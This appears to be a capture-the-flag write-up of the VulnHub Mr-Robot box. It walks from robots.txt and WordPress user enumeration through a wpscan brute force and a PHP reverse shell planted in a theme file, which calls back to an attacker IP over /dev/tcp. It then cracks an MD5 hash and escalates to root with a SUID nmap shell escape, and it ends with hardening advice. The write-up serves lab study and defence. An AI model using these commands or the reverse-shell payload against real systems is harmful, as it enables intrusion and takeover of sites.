Mr-Robot

Mr-Robot is a web-to-root box built around a WordPress site. Nothing here needs an exploit in the CVE sense — every step is a misuse of something left exposed or misconfigured. The path:

nmap -Pn -p22,80,443 192.168.56.124
# 22/tcp  closed
# 80/tcp  open   http  (Apache / WordPress)
# 443/tcp open   https

The first thing to check on any web target is robots.txt — the file that politely lists what the owner would rather crawlers ignore:

curl http://192.168.56.124/robots.txt
# User-agent: *
# fsocity.dic
# key-1-of-3.txt

curl http://192.168.56.124/key-1-of-3.txt
# 073403c8a58a1f80d943455fb30724b9      ← key #1

The other entry, fsocity.dic, is a ~858,000-line wordlist (only 11,451 unique once deduped) — the ammunition for the next step.

WordPress's login is a gift to an attacker: it returns different errors for a valid username with a bad password ("The password you entered… is incorrect") versus an unknown user ("Invalid username"). That difference lets you enumerate users. Testing names from the show, Elliot comes back valid.

First dedupe the leaked wordlist (858k → 11.4k) so the brute isn't 75× slower than it needs to be, then run it against the confirmed user:

sort -u fsocity.dic -o fsocity-uniq.dic
wpscan --url http://192.168.56.124/ -U Elliot -P fsocity-uniq.dic
# [+] Elliot : ER28-0652

An authenticated WordPress admin can edit theme PHP directly from the dashboard — Appearance → Editor. Overwrite a rarely-guarded template such as 404.php with a PHP reverse shell:

# in 404.php (Appearance → Editor), then start a listener and hit a missing page
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.117/4444 0>&1'"); ?>

nc -lvnp 4444
curl http://192.168.56.124/404-trigger    # fire the template
# connection received — id → uid=1(daemon)

Stabilise the shell and move on:

python -c 'import pty;pty.spawn("/bin/bash")'

In /home/robot/ sit two files — the second key (readable only by robot) and, carelessly, that user's password hash (readable by everyone):

ls -l /home/robot/
# -r-------- robot robot  key-2-of-3.txt     ← can't read yet
# -rw-r--r-- robot robot  password.raw-md5   ← world-readable
cat /home/robot/password.raw-md5
# robot:c3fcd3d76192e4007dfb496cca67e13b

That's a raw, unsalted MD5 — it falls instantly:

echo 'c3fcd3d76192e4007dfb496cca67e13b' | hashcat -m 0 - rockyou.txt
# c3fcd3d76192e4007dfb496cca67e13b : abcdefghijklmnopqrstuvwxyz

su robot        # password: abcdefghijklmnopqrstuvwxyz
cat /home/robot/key-2-of-3.txt
# 822c73956184f694993bede3eb39f959      ← key #2

A sweep for SUID binaries turns up a non-standard one — an old nmap installed setuid root:

find / -perm -4000 -type f 2>/dev/null
# /usr/local/bin/nmap   ← SUID root, and old enough to have --interactive

Nmap 2.x–4.x shipped an interactive mode with a shell escape. Because the binary runs as root, so does the shell it spawns:

nmap --interactive
nmap> !sh
# whoami → root
cat /root/key-3-of-3.txt
# 04787ddef27c3dee1ee161b21670b4e4      ← key #3

• Don't disclose sensitive paths in robots.txt — it advertises exactly what to look at. Protect files with authentication, not obscurity.
• Harden the WordPress login — generic error messages (no user enumeration), rate-limiting / lockout, strong passwords, and 2FA.
• Lock down the dashboard — disable the file editor (DISALLOW_FILE_EDIT) so a stolen admin session can't write PHP.
• Never leave credential material world-readable, and never store passwords as unsalted MD5.
• Audit SUID binaries — remove the bit from anything that doesn't need it, and never install tools like nmap setuid root.

Lab environment · VulnHub boot2root performed in an isolated home lab. No production system was accessed. All testing described on this site is conducted only with prior written authorization.